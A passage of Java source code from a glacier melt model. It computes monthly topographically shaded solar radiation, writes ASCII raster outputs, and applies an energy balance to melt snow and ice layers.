if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
// System.out.println("October hillshade uploaded into model");
// System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("October hillshade not uploaded");
}
} else if (month == 11.0) {
//hillshade = store.getHillshade_Nov();
hillshade_midnight = store.getHillshade_Jan_midnight();
hillshade_6am = store.getHillshade_Jan_midnight();
hillshade_noon = store.getHillshade_Nov_noon();
hillshade_6pm = store.getHillshade_Jan_midnight();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
// System.out.println("November hillshade uploaded into model");
// System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("November hillshade not uploaded");
}
} else if (month == 12.0) {
//hillshade = store.getHillshade_Dec();
hillshade_midnight = store.getHillshade_Jan_midnight();
hillshade_6am = store.getHillshade_Jan_midnight();
hillshade_noon = store.getHillshade_Jan_midnight();
hillshade_6pm = store.getHillshade_Jan_midnight();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
// System.out.println("December hillshade uploaded into model");
// System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("December hillshade not uploaded");
}
}
//Gets the calculated slope and aspect surfaces
slope = store.getSlope(); // slope surface array
aspect = store.getAspect(); // aspect surface array
slope_RAD = new double[slope.length][slope[0].length];
aspect_RAD = new double[slope.length][slope[0].length];
//Converts the slope and aspect surfaces to radians
for (int a = 0; a < Slope_Surface.length; a++) {
for (int b = 0; b < Slope_Surface[a].length; b++) {
if (slope[a][b] != NODATA_value) {
double slope_initial_value = Slope_Surface[a][b];
double slope_radians = Math.toRadians(slope_initial_value);
slope_RAD[a][b] = slope_radians;
} else {
slope_RAD[a][b] = NODATA_value;
}
if (aspectSurface[a][b] != NODATA_value) {
double aspect_initial_value = aspectSurface[a][b];
double aspect_radians = Math.toRadians(aspect_initial_value);
aspect_RAD[a][b] = aspect_radians;
} else {
aspect_RAD[a][b] = NODATA_value;
}
}
}
System.out.println("Just before radiation loop");
/**
* Internal Radiation loop: during each month loop, this daily
* radiation loop is instigated.
*
* This loop first accesses all of the lists created upon upload
* of the radiation input file. Where the month and year values
* from the radiation lists match the month and year of the
* overall monthly time step loop (starting somewhere up above
* and in which this secondary iteration loop exists), radiation
* calculations are carried out for each day. The mean daily
* radiation amount is calculated and totaled within the array
* (i.e. each loop, the current loops mean daily radiation is
* summed with the last value present at the same position in
* the array). At the end of the radiation loop, the cells of
* the array are divided by the number of days (which is
* represented by the loop counter of radiation loop, to give a
* monthly mean.
*
* Required prior to loop initiation: - Radiation loop counter
* to be set to 0 - MonthlyRadiation total to be set to 0
*
*/
double radiation_loop_counter = 0;
double monthlyRadiationTotal = 0;
surfaceRadiationSurface = new double[elevation.length][elevation[0].length];
// Read in radiation iterators
// Implement Rdaiation code
// When month_radiation == month and year_radiation == year, get next using the day as the iterator
Iterator<Integer> iteratora = store.getDayFile_Radiation().iterator();
Iterator<Integer> iteratorb = store.getMonthFile_Radiation().iterator();
Iterator<Integer> iteratorc = store.getYearFile_Radiation().iterator();
Iterator<Double> iteratord = store.getTOA_midnight_list().iterator();
Iterator<Double> iteratore = store.getZenith_midnight_list().iterator();
Iterator<Double> iteratorf = store.getAzimuth_midnight_list().iterator();
Iterator<Double> iteratorg = store.getTOA_6am_list().iterator();
Iterator<Double> iteratorh = store.getZenith_6am_list().iterator();
Iterator<Double> iteratori = store.getAzimuth_6am_list().iterator();
Iterator<Double> iteratorj = store.getTOA_noon_list().iterator();
Iterator<Double> iteratork = store.getZenith_noon_list().iterator();
Iterator<Double> iteratorl = store.getAzimuth_noon_list().iterator();
Iterator<Double> iteratorm = store.getTOA_6pm_list().iterator();
Iterator<Double> iteratorn = store.getZenith_6pm_list().iterator();
Iterator<Double> iteratoro = store.getAzimuth_6pm_list().iterator();
//Melt algorithm check counters
int summersnow_hit = 0;
int nosummersnow_hit = 0;
int summersnow_wintersnow_hit = 0;
int summersnow_no_wintersnow_hit = 0;
int summersnow_wintersnow_ice = 0;
//int summersnow_no_wintersnow_ice = 0;
int no_summersnow_wintersnow_hit = 0;
int no_summersnow_no_wintersnow_hit = 0;
int no_summersnow_wintersnow_ice = 0;
while (iteratora.hasNext()) {
int day_radiation = iteratora.next();
int month_radiation = iteratorb.next();
int year_radiation = iteratorc.next();
double TOA_midnight = iteratord.next();
double zenith_midnight = iteratore.next();
double azimuth_midnight = iteratorf.next();
double TOA_6am = iteratorg.next();
double zenith_6am = iteratorh.next();
double azimuth_6am = iteratori.next();
double TOA_noon = iteratorj.next();
double zenith_noon = iteratork.next();
double azimuth_noon = iteratorl.next();
double TOA_6pm = iteratorm.next();
double zenith_6pm = iteratorn.next();
double azimuth_6pm = iteratoro.next();
if ((month_radiation == month) && (year_radiation == year)) {
//System.out.println("Radiation algorithm reached (" + month_radiation + "/" + year_radiation + ")");
radiation_loop_counter++;
//System.out.println("Rad loop number: " + radiation_loop_counter);
//surfaceRadiationSurface = new double[elevation.length][elevation[0].length];
tau = store.getTauEstimate();
for (int i = 0; i < slope_RAD.length; i++) {
for (int j = 0; j < slope_RAD[i].length; j++) {
surface_Radiation_midnight = 0;
surface_Radiation_6am = 0;
surface_Radiation_noon = 0;
surface_Radiation_6pm = 0;
//******************************************************************
// Midnight radiation calculation
//******************************************************************
// These would be taken from lists in the full
azimuth_midnight_radians = Math.toRadians(azimuth_midnight); // model but for this run just use a single
zenith_midnight_radians = Math.toRadians(zenith_midnight); // value i.e. read in a one line input met
// data file
// Start looping through surfaces and implement equation - this would be
// nested in an array list loop eventually
// slope_RAD[i][j] = aspect_RAD[i][j] = hillshade[i][j];
double loop_slope1 = slope_RAD[i][j];
double loop_aspect1 = aspect_RAD[i][j];
double loop_hillshade_midnight = hillshade_midnight[i][j]; // If you want to account for topog. shading
// double loop_hillshade = 1.0; // Use to set clear sky conditions (i.e. no topog. shading)
if (((loop_slope1 != NODATA_value) & (loop_aspect1 != NODATA_value)) & (loop_hillshade_midnight != NODATA_value)) {
if (zenith_midnight <= 84.0) { // Prevents development of rogue values from discontinuity between zenith/azimuth/TOA at low sun altitudes - note that this referes to the zenith in degrees
//************** MODIFIED SURFACE RADIATION EQUATION
// surface_Radiation_midnight = ((100-loop_hillshade1)/100) * (((Math.cos(zenith_midnight_radians)*Math.cos(loop_slope1))
//surface_Radiation_midnight = (1) * (((Math.cos(zenith_midnight_radians)*Math.cos(loop_slope1))
surface_Radiation_midnight = (loop_hillshade_midnight / 255.0) * (((Math.cos(zenith_midnight_radians) * Math.cos(loop_slope1))
+ (Math.sin(zenith_midnight_radians) * Math.sin(loop_slope1) * Math.cos(azimuth_midnight_radians - loop_aspect1)))
* TOA_midnight * Math.exp(-tau / Math.cos(zenith_midnight_radians)));
// System.out.println("Midnight surface rad: " + surface_Radiation_midnight);
} else if (zenith_midnight > 84.0) {
surface_Radiation_midnight = 0.0;
//System.out.println("Noon surface rad: " + surface_Radiation_noon);
}
}
//******************************************************************
// 6am radiation calculation
//******************************************************************
// These would be taken from lists in the full
azimuth_6am_radians = Math.toRadians(azimuth_6am); // model but for this run just use a single
zenith_6am_radians = Math.toRadians(zenith_6am); // value i.e. read in a one line input met
// data file
//System.out.println("Azimuth 6am (rad) = " + azimuth_6am_radians);
//System.out.println("Zenith 6am (rad) = " + zenith_6am_radians);
//slope_RAD[i][j] = aspect_RAD[i][j] = hillshade[i][j];
double loop_slope2 = slope_RAD[i][j];
double loop_aspect2 = aspect_RAD[i][j];
double loop_hillshade_6am = hillshade_6am[i][j]; // If you want to account for topog. shading
// double loop_hillshade = 1.0; // Use to set clearsky conditions (i.e. no topog. shading)
if (((loop_slope2 != NODATA_value) & (loop_aspect2 != NODATA_value)) & (loop_hillshade_6am != NODATA_value)) {
if (zenith_6am <= 84.0) { // Prevents development of rogue values from discontinuity between zenith/azimuth/TOA at low sun altitudes - note that this referes to the zenith in degrees
//************** MODIFIED SURFACE RADIATION EQUATION
// surface_Radiation_6am = ((100-loop_hillshade2)/100) * (((Math.cos(zenith_6am_radians)*Math.cos(loop_slope2))
//surface_Radiation_6am = (1) * (((Math.cos(zenith_6am_radians)*Math.cos(loop_slope2))
surface_Radiation_6am = (loop_hillshade_6am / 255.0) * (((Math.cos(zenith_6am_radians) * Math.cos(loop_slope2))
+ (Math.sin(zenith_6am_radians) * Math.sin(loop_slope2) * Math.cos(azimuth_6am_radians - loop_aspect2)))
* TOA_6am * Math.exp(-tau / Math.cos(zenith_6am_radians)));
//System.out.println("6am surface rad: " + surface_Radiation_6am);
} else if (zenith_6am > 84.0) {
surface_Radiation_6am = 0.0;
//System.out.println("Noon surface rad: " + surface_Radiation_noon);
}
}
//******************************************************************
// noon radiation calculation
//******************************************************************
// These would be taken from lists in the full
azimuth_noon_radians = Math.toRadians(azimuth_noon); // model but for this run just use a single
zenith_noon_radians = Math.toRadians(zenith_noon); // value i.e. read in a one line input met
// data file
//System.out.println("Azimuth noon (rad) = " + azimuth_noon_radians);
//System.out.println("Zenith noon (rad) = " + zenith_noon_radians);
//slope_RAD[i][j] = aspect_RAD[i][j] = hillshade[i][j];
double loop_slope3 = slope_RAD[i][j];
double loop_aspect3 = aspect_RAD[i][j];
double loop_hillshade_noon = hillshade_noon[i][j]; // If you want to account for topog. shading
// double loop_hillshade = 1.0; // Use to set clearsky conditions (i.e. no topog. shading)
if (((loop_slope3 != NODATA_value) & (loop_aspect3 != NODATA_value)) & (loop_hillshade_noon != NODATA_value)) {
if (zenith_noon <= 84.0) { // Prevents development of rogue values from discontinuity between zenith/azimuth/TOA at low sun altitudes - note that this referes to the zenith in degrees
//************** MODIFIED SURFACE RADIATION EQUATION
// surface_Radiation_noon = ((100-loop_hillshade3)/100) * (((Math.cos(zenith_noon_radians)*Math.cos(loop_slope3))
//surface_Radiation_noon = (1) * (((Math.cos(zenith_noon_radians)*Math.cos(loop_slope3))
surface_Radiation_noon = (loop_hillshade_noon / 255.0) * (((Math.cos(zenith_noon_radians) * Math.cos(loop_slope3))
+ (Math.sin(zenith_noon_radians) * Math.sin(loop_slope3) * Math.cos(azimuth_noon_radians - loop_aspect3)))
* TOA_noon * Math.exp(-tau / Math.cos(zenith_noon_radians)));
//System.out.println("Noon surface rad: " + surface_Radiation_noon);
} else if (zenith_noon > 84.0) {
surface_Radiation_noon = 0.0;
//System.out.println("Noon surface rad: " + surface_Radiation_noon);
}
}
//******************************************************************
// 6pm radiation calculation
//******************************************************************
// These would be taken from lists in the full
azimuth_6pm_radians = Math.toRadians(azimuth_6pm); // model but for this run just use a single
zenith_6pm_radians = Math.toRadians(zenith_6pm); // value i.e. read in a one line input met
// data file
//System.out.println("Azimuth 6pm (rad) = " + azimuth_6pm_radians);
//System.out.println("Zenith 6pm (rad) = " + zenith_6pm_radians);
// slope_RAD[i][j] = aspect_RAD[i][j] = hillshade[i][j];
double loop_slope4 = slope_RAD[i][j];
double loop_aspect4 = aspect_RAD[i][j];
double loop_hillshade_6pm = hillshade_6pm[i][j]; // If you want to account for topog. shading
// double loop_hillshade = 1.0; // Use to set clearsky conditions (i.e. no topog. shading)
if (((loop_slope4 != NODATA_value) & (loop_aspect4 != NODATA_value)) & (loop_hillshade_6pm != NODATA_value)) {
if (zenith_6pm <= 84.0) { // Prevents development of rogue values from discontinuity between zenith/azimuth/TOA at low sun altitudes - note that this referes to the zenith in degrees
//************** MODIFIED SURFACE RADIATION EQUATION
//surface_Radiation_6pm = (1) * (((Math.cos(zenith_6pm_radians)*Math.cos(loop_slope4))
surface_Radiation_6pm = (loop_hillshade_6pm / 255.0) * (((Math.cos(zenith_6pm_radians) * Math.cos(loop_slope4))
+ (Math.sin(zenith_6pm_radians) * Math.sin(loop_slope4) * Math.cos(azimuth_6pm_radians - loop_aspect4)))
* TOA_6pm * Math.exp(-tau / Math.cos(zenith_6pm_radians)));
//System.out.println("6pm surface rad: " + surface_Radiation_6pm);
} else if (zenith_6pm > 84.0) {
surface_Radiation_6pm = 0.0;
//System.out.println("Noon surface rad: " + surface_Radiation_noon);
}
// Need to total surface_radiation_[time_interval] up for each loop and to create daily mean radiation
//monthlyRadiationTotal += dailyRadiationMean;
}
//***************************** Create radiation surface ****************************************************
if ((elevation[i][j] == NODATA_value)) {
// System.out.println("No data populated for rad");
surfaceRadiationSurface[i][j] = NODATA_value;
store.setSurfaceRadiationSurface(surfaceRadiationSurface);
// System.out.println("surface_rad NODATA_value populated");
} else if ((elevation[i][j] != NODATA_value) & ((surface_Radiation_midnight != NODATA_value) & (surface_Radiation_6am != NODATA_value)) & ((surface_Radiation_noon != NODATA_value) & (surface_Radiation_6pm != NODATA_value))) {
//surface_Radiation += ((surface_Radiation_midnight + surface_Radiation_6am + surface_Radiation_noon + surface_Radiation_6pm) / 4.0);
surfaceRadiationSurface[i][j] += ((surface_Radiation_midnight + surface_Radiation_6am + surface_Radiation_noon + surface_Radiation_6pm) / 4.0);
//System.out.println("Surface radiation [accum] calc: " + surfaceRadiationSurface[i][j]);
//double surfRadinstance = ((surface_Radiation_midnight + surface_Radiation_6am + surface_Radiation_noon + surface_Radiation_6pm) / 4.0);
//System.out.println("Surface radiation [instance] calc: " + surfRadinstance);
if (surfaceRadiationSurface[i][j] >= 0.000001) {
// System.out.println("Rad >= 0.000001 populated");
//surfaceRaditionSurface[i][j] = surfaceRadiationSurface[i][j];
store.setSurfaceRadiationSurface(surfaceRadiationSurface);
} else if ((surfaceRadiationSurface[i][j] < 0.000001) & (surfaceRadiationSurface[i][j] != NODATA_value)) {
// System.out.println("Rad < 0.000001 populated");
surfaceRadiationSurface[i][j] = 0.0;
store.setSurfaceRadiationSurface(surfaceRadiationSurface);
}
}
}
}
}
}
System.out.println("Radiation loop counter: " + radiation_loop_counter);
/**
* Calculating monthly mean surface radiation surface. Loops
* through set surfaceRadiationSurface, dividing each cell by
* the number of days in the prior radiation loop. *
*
*/
double daily_surfaceRadiationSurface[][] = store.getSurfaceRadiationSurface();// Gets the SurfaceRadiationSurface array which consisits of monthly totals (total of daily mean values)
double meanMonthlyRadiation = 0;
if (daily_surfaceRadiationSurface != null) {
System.out.println("Calculating monthly mean surface radiation surface");
double raw_rad_total = 0;
double meanrad_total = 0;
double rad_cellcount = 0;
//meanMonthlyRadiation = monthlyRadiationTotal / radiation_loop_counter;
//double meanMonthlyRadiation_surface [][] = new double[][];
for (int i = 0; i < daily_surfaceRadiationSurface.length; i++) {
for (int j = 0; j < daily_surfaceRadiationSurface[i].length; j++) {
if (daily_surfaceRadiationSurface[i][j] == NODATA_value) {
//macht nichts
} else if (daily_surfaceRadiationSurface[i][j] != NODATA_value) {
raw_rad_total += daily_surfaceRadiationSurface[i][j];
double dailyrad_instance = daily_surfaceRadiationSurface[i][j];
meanMonthlyRadiation = dailyrad_instance / radiation_loop_counter;
daily_surfaceRadiationSurface[i][j] = meanMonthlyRadiation;
store.setSurfaceRadiationSurface(daily_surfaceRadiationSurface);
meanrad_total += meanMonthlyRadiation; // This mean is for the whole grid (i.e. this is not a mean monthly cell value (requires the result to be divided by number of cells))
rad_cellcount++;
}
}
}
//System.out.println("cell count: " + rad_cellcount);
//System.out.println("Raw raditaion total: " + raw_rad_total);
//System.out.println("raditaion total: " + meanrad_total);
System.out.println("Mean radiation for " + month + "/" + year + ": " + (meanrad_total / rad_cellcount));
//System.out.println("End of radiation loop reached - go back to start of main monthly loop");
if (save_arrays == 1) {
/**
* This bit will open a save box to save the mean
* radiation surface as an ASCII, using the coordinates
* of the originally opened up elevation surface
*
*/
File f_monthly_rad = new File("F:/Melt_modelling/Historical_model_outputs_aspect_fixed/mean_monthly_rad_" + month + "_" + year + ".txt");
DecimalFormat df_monthly_rad = new DecimalFormat("#.####");
try {
BufferedWriter bw_monthly_rad = new BufferedWriter(new FileWriter(f_monthly_rad));
bw_monthly_rad.write("ncols" + " " + store.getOriginalNcols());
bw_monthly_rad.write(System.getProperty("line.separator"));
bw_monthly_rad.write("nrows" + " " + store.getOriginalNrows());
bw_monthly_rad.write(System.getProperty("line.separator"));
bw_monthly_rad.write("xllcorner" + " " + store.getOriginalXllcorner());
bw_monthly_rad.write(System.getProperty("line.separator"));
bw_monthly_rad.write("yllcorner" + " " + store.getOriginalYllcorner());
bw_monthly_rad.write(System.getProperty("line.separator"));
bw_monthly_rad.write("cellsize" + " " + store.getOriginalCellsize());
bw_monthly_rad.write(System.getProperty("line.separator"));
bw_monthly_rad.write("NODATA_value" + " " + "-9999");
bw_monthly_rad.write(System.getProperty("line.separator"));
/**
* Write out the array data
*
*/
String tempStr = "";
for (int a = 0; a < daily_surfaceRadiationSurface.length; a++) {
for (int b = 0; b < daily_surfaceRadiationSurface[a].length; b++) {
if (daily_surfaceRadiationSurface[a][b] == NODATA_value) {
bw_monthly_rad.write("-9999 ");
} else {
bw_monthly_rad.write(df_monthly_rad.format(daily_surfaceRadiationSurface[a][b]) + " ");
}
}
bw_monthly_rad.newLine();
}
bw_monthly_rad.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
System.out.println("Monthly radiation surface for " + month + "/" + year + "saved: " + f_monthly_rad.getAbsolutePath());
} else {
// Do not save arrays
}
/*
* Q calculation
*/
// double[][] Q_daily_grid = new double[elevation.length][elevation[0].length];
// double I_for_Q;
// double psi_for_Q;
// double Q, Q_daily;
// double Q, Q_daily, mean_Q;
// double Q_counter = 0;
for (int i = 0; i < elevation.length; i++) {
for (int j = 0; j < elevation[i].length; j++) {
if ((summer_snow_thickness[i][j] != NODATA_value) && (summer_snow_thickness[i][j] > 0.0)) {
albedo_instance = snow_albedo;
} else if ((winter_snow_thickness[i][j] != NODATA_value) && (winter_snow_thickness[i][j] > 0.0)) {
albedo_instance = snow_albedo;
} else {
albedo_instance = ice_albedo;
}
//albedo_instance = 0.5;
I_for_Q = store.getSurfaceRadiationSurface()[i][j];
psi_for_Q = store.getPsiSurface()[i][j];
if ((I_for_Q != NODATA_value) & (psi_for_Q != NODATA_value)) {
Q = ((1 - albedo_instance) * I_for_Q) + psi_for_Q; //<<<----- This gives a value of Q per m^2 - the actual cell area (5m x 5m) or full months time has not been considered yet
Q_daily = (Q * 86400) * cell_area; // Multiplies Q value by the number of seconds in a day and scales it up to the cell area (so if a 5m x 5m cell, multiply Q by 25)
Q_monthly = Q_daily * radiation_loop_counter; // The radiation loop counter accounts for the number of days in the month, specific to year and month
//System.out.println("Q daily: " + Q_daily);
//Q_daily_grid[i][j] = Q_daily; // Sets the Q_daily value in the Q_daily_grid
Q_monthly_grid[i][j] = Q_monthly; // Sets the Q_monthly value in the Q_monthly_grid
Q_counter++; // Counts instances of Q where != NODATA_value
//Q_total += Q_daily; // Total value of scaled up Q for a day through each full model loop
Q_total += Q_monthly; // Total value of scaled up Q for a month through each full model loop
} else if ((I_for_Q == NODATA_value) | (psi_for_Q == NODATA_value)) {
Q_monthly_grid[i][j] = NODATA_value;
}
store.setQmonthlySurface(Q_monthly_grid);
}
}
mean_Q_5_x_m2 = Q_total / Q_counter; //<<---- Mean energy for a 5m x 5m cell (so units are W x 5m^-2)
mean_Q_m2 = (Q_total / Q_counter) / 25.0; //<<<---- Mean energy for a 1m x 1m cell (so units are Wm^-2)
System.out.println("Q calculated: " + mean_Q_5_x_m2 + " W x 5m^-2"); //<<---- Mean energy for a 5m x 5m cell (so units are W x 5m^-2)
System.out.println("Q calculated: " + mean_Q_m2 + " W x m^-2"); //<<<---- Mean energy for a 1m x 1m cell (so units are Wm^-2)
/**
* This bit will open a save box to save the Q surface layer
* as an ASCII, using the coordinates of the originally
* opened up elevation surface. This is the MONTHLY surface
* (i.e. not in Wm^-2 (or per second)
*/
if ((save_arrays == 1)|(save_arrays == 4)) {
//File f_Q_monthly = new File("F:/Melt_modelling/Historical_model_outputs_aspect_fixed/Q_monthly_" + (int) month + "." + (int) year + ".txt");
File f_Q_monthly = new File("C:/Users/Chris/Desktop/19262010/Historical_model_outputs_aspect_fixed/Q_monthly_" + (int) month + "." + (int) year + ".txt");
DecimalFormat df_Q_monthly = new DecimalFormat("#.####");
//
try {
BufferedWriter bw_Q_monthly = new BufferedWriter(new FileWriter(f_Q_monthly));
bw_Q_monthly.write("ncols" + " " + store.getOriginalNcols());
bw_Q_monthly.write(System.getProperty("line.separator"));
bw_Q_monthly.write("nrows" + " " + store.getOriginalNrows());
bw_Q_monthly.write(System.getProperty("line.separator"));
bw_Q_monthly.write("xllcorner" + " " + store.getOriginalXllcorner());
bw_Q_monthly.write(System.getProperty("line.separator"));
bw_Q_monthly.write("yllcorner" + " " + store.getOriginalYllcorner());
bw_Q_monthly.write(System.getProperty("line.separator"));
bw_Q_monthly.write("cellsize" + " " + store.getOriginalCellsize());
bw_Q_monthly.write(System.getProperty("line.separator"));
bw_Q_monthly.write("NODATA_value" + " " + "-9999");
bw_Q_monthly.write(System.getProperty("line.separator"));
/**
* Write out the array data
*
*/
//String tempStr = "";
for (int a = 0; a < Q_monthly_grid.length; a++) {
for (int b = 0; b < Q_monthly_grid[a].length; b++) {
if (Q_monthly_grid[a][b] == NODATA_value) {
bw_Q_monthly.write("-9999 ");
} else {
bw_Q_monthly.write(df_Q_monthly.format(Q_monthly_grid[a][b]) + " ");
}
}
bw_Q_monthly.newLine();
}
bw_Q_monthly.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
System.out.println("Q [monthly] surface: " + f_Q_monthly.getAbsolutePath());
} else {
// Do not save array
}
/**
* Surface melting.
*
* Melts through the summer snow surface, then the winter
* surface and then the ice surface. Accounts for remaining
* Q, where Q available > Q required to melt. In this way,
* energy is conserved and used on the next layer that can
* be melted.
*/
for (int i = 0; i < summer_snow_thickness.length; i++) {
for (int j = 0; j < summer_snow_thickness[i].length; j++) {
double Q_for_melt = Q_monthly_grid[i][j];
double glacier_thickness_instance = glacier_thickness[i][j];
double winter_snow_surface_instance = winter_snow_thickness[i][j];
double summer_snow_surface_instance = summer_snow_thickness[i][j];
double summer_snow_surface_change_instance = summer_snow_surface_change[i][j];
double winter_snow_surface_change_instance = winter_snow_surface_change[i][j];
//double ice_thickness_change_surface_instance = ice_thickness_change_surface[i][j];
double ice_thickness_change = ice_thickness_change_surface[i][j];
// First loop - when there is energy, positive thickness values and Q is a positive number
if (((summer_snow_surface_instance != NODATA_value) && (Q_for_melt != NODATA_value)) && ((summer_snow_surface_instance > 0.0) && (Q_for_melt > 0.0))) {
summersnow_hit++;
double summer_snow_volume = summer_snow_surface_instance * cell_area;
double summer_snow_mass = summer_snow_volume * summer_snow_density;
energy_for_total_summer_snow_melt = summer_snow_mass * latent_heat_of_fusion;
summer_snow_surface_change_instance = (Q_for_melt / energy_for_total_summer_snow_melt) * summer_snow_surface_instance; // Calculates a ratio of available melt to required melt and multiplies by thickness to make the appropriate reduction
summer_snow_surface_change[i][j] = summer_snow_surface_change_instance; // Populates thickness change grid - this may allow for more change than is possible considering the actual thickness surface hence the next step
// Calculates the remaining energy available (i.e. used in instances where there is more energy available than there is snow to melt)
if ((energy_for_total_summer_snow_melt - Q_for_melt) < 0.0) // A negative value is indicative of Q_for_melt > Q required so gives you the remainding energy
{
Q_for_melt = (Q_for_melt - energy_for_total_summer_snow_melt); // Inverts the negative value to make the remainding energy positive
} else {
Q_for_melt = 0.0;
}
// Now deal with WINTER snow
// If snow thickness is positive and there is energy
if (((winter_snow_surface_instance != NODATA_value) && (Q_for_melt != NODATA_value)) && ((winter_snow_surface_instance > 0.0) && (Q_for_melt > 0.0))) {
summersnow_wintersnow_hit++;
double winter_snow_volume = winter_snow_surface_instance * cell_area;
double winter_snow_mass = winter_snow_volume * (winter_snow_density * snow_wind_stripping_factor);
// The snow stripping factor in effect
// reduces the amount of snow present - this
// replicates the effect wind would have in
// removing the snow, not asa function of
// melting
energy_for_total_winter_snow_melt = winter_snow_mass * latent_heat_of_fusion;
winter_snow_surface_change_instance = (Q_for_melt / energy_for_total_winter_snow_melt) * winter_snow_surface_instance; // Calculates a ratio of available melt to required melt and multiplies by thickness to make the appropriate reduction
winter_snow_surface_change[i][j] = winter_snow_surface_change_instance; // Populates thickness change grid - this may allow for more change than is possible considering the actual thickness surface hence the next step
// Calculates the remaining energy available (i.e. used in instances where there is more energy available than there is snow to melt)
if ((energy_for_total_winter_snow_melt - Q_for_melt) < 0.0) // A negative value is indicative of Q_for_melt > Q required so gives you the remainding energy
{
Q_for_melt = (Q_for_melt - energy_for_total_winter_snow_melt); // Inverts the negative value to make the remainding energy positive
} else {
Q_for_melt = 0.0;
}
} // If snow thickness is equal to 0 or there is no energy
else if ((winter_snow_surface_instance == 0.0) | (Q_for_melt <= 0.0)) // Required so that if winter_snow_surface is already zero or there is no energy, then nothing is done
{
summersnow_no_wintersnow_hit++;
winter_snow_surface_change_instance = 0.0;
winter_snow_surface_change[i][j] = 0.0;
} // If snow thickness is equal to NODATA_value or there is no energy
else if ((winter_snow_surface_instance == NODATA_value) | (Q_for_melt == NODATA_value)) {
winter_snow_surface_change[i][j] = NODATA_value;
}
// Deal with ICE
if (((glacier_thickness_instance != NODATA_value) && (Q_for_melt != NODATA_value)) && ((glacier_thickness_instance > 0.0) && (Q_for_melt > 0.0))) {
//double thickness = glacier_thickness_instance;
summersnow_wintersnow_ice++;
double ice_volume = glacier_thickness_instance * cell_area;
ice_mass = ice_volume * ice_density;
energy_for_total_melt = ice_mass * latent_heat_of_fusion;
ice_thickness_change = (Q_for_melt / energy_for_total_melt) * glacier_thickness_instance; // Calculates a ratio of available melt to required melt and multiplies by thickness to make the appropriate reduction
ice_thickness_change_surface[i][j] = ice_thickness_change; // Populates thickness change grid - this may allow for more change than is possible considering the actual thickness surface hence the next step
// Calculates the remaining energy available (i.e. used in instances where there is more energy available than there is snow to melt)
if ((energy_for_total_melt - Q_for_melt) < 0.0) // A negative value is indicative of Q_for_melt > Q required so gives you the remainding energy
{
Q_for_melt = (Q_for_melt - energy_for_total_melt); // Inverts the negative value to make the remainding energy positive
} else {
Q_for_melt = 0.0;
}
} // If ice thickness is equal to 0 or there is no energy
else if ((glacier_thickness_instance == 0.0) | (Q_for_melt <= 0.0)) // Required so that if winter_snow_surface is already zero or there is no energy, then nothing is done
{
ice_thickness_change = 0.0;
ice_thickness_change_surface[i][j] = 0.0;
} // If ice thickness is equal to NODATA_value or there is no energy
else if ((glacier_thickness_instance == NODATA_value) | (Q_for_melt == NODATA_value)) {
ice_thickness_change_surface[i][j] = NODATA_value;
}
} // Second loop - when there is energy, but summer snow thickness values are 0 -> for winter snow, thickness values > 0 and energy is positive
else if (((summer_snow_surface_instance != NODATA_value) && (Q_for_melt != NODATA_value)) && ((summer_snow_surface_instance == 0.0) && (Q_for_melt > 0.0))) {
nosummersnow_hit++;
//summer_snow_surface_instance = 0.0;
summer_snow_surface_change_instance = 0.0;
summer_snow_surface_change[i][j] = summer_snow_surface_change_instance;
// Now deal with WINTER snow
// If snow thickness is positive and there is energy
if ((winter_snow_surface_instance != NODATA_value) && (Q_for_melt != NODATA_value) && (winter_snow_surface_instance > 0.0) && (Q_for_melt > 0.0)) {
no_summersnow_wintersnow_hit++;
double winter_snow_volume = winter_snow_surface_instance * cell_area;
double winter_snow_mass = winter_snow_volume * (winter_snow_density * snow_wind_stripping_factor);
// The snow stripping factor in effect
// reduces the amount of snow present - this
// replicates the effect wind would have in
// removing the snow, not asa function of
// melting
energy_for_total_winter_snow_melt = winter_snow_mass * latent_heat_of_fusion;
winter_snow_surface_change_instance = (Q_for_melt / energy_for_total_winter_snow_melt) * winter_snow_surface_instance; // Calculates a ratio of available melt to required melt and multiplies by thickness to make the appropriate reduction
winter_snow_surface_change[i][j] = winter_snow_surface_change_instance; // Populates thickness change grid - this may allow for more change than is possible considering the actual thickness surface hence the next step
// Calculates the remaining energy available (i.e. used in instances where there is more energy available than there is snow to melt)
if ((energy_for_total_winter_snow_melt - Q_for_melt) < 0.0) // A negative value is indicative of Q_for_melt > Q required so gives you the remainding energy
{
Q_for_melt = (Q_for_melt - energy_for_total_winter_snow_melt); // Inverts the negative value to make the remainding energy positive
} else {
Q_for_melt = 0.0;
}
} // If snow thickness is equal to 0 or there is no energy
else if ((winter_snow_surface_instance == 0.0) | (Q_for_melt <= 0.0)) // Required so that if winter_snow_surface is already zero or there is no energy, then nothing is done
{
no_summersnow_no_wintersnow_hit++;
winter_snow_surface_change_instance = 0.0;
winter_snow_surface_change[i][j] = 0.0;
} // If snow thickness is equal to NODATA_value or there is no energy
else if ((winter_snow_surface_instance == NODATA_value) | (Q_for_melt == NODATA_value)) {
winter_snow_surface_change[i][j] = NODATA_value;
}
// Deal with ICE
if (((glacier_thickness_instance != NODATA_value) && (Q_for_melt != NODATA_value)) && ((glacier_thickness_instance > 0.0) && (Q_for_melt > 0.0))) {
//double thickness = glacier_thickness_instance;
no_summersnow_wintersnow_ice++;
double ice_volume = glacier_thickness_instance * cell_area;
ice_mass = ice_volume * ice_density;
energy_for_total_melt = ice_mass * latent_heat_of_fusion;
ice_thickness_change = (Q_for_melt / energy_for_total_melt) * glacier_thickness_instance; // Calculates a ratio of available melt to required melt and multiplies by thickness to make the appropriate reduction
ice_thickness_change_surface[i][j] = ice_thickness_change; // Populates thickness change grid - this may allow for more change than is possible considering the actual thickness surface hence the next step
// Calculates the remaining energy available (i.e. used in instances where there is more energy available than there is snow to melt)
if ((energy_for_total_melt - Q_for_melt) < 0) // A negative value is indicative of Q_for_melt > Q required so gives you the remainding energy
{
Q_for_melt = (energy_for_total_melt - Q_for_melt) * -1; // Inverts the negative value to make the remainding energy positive
} else {
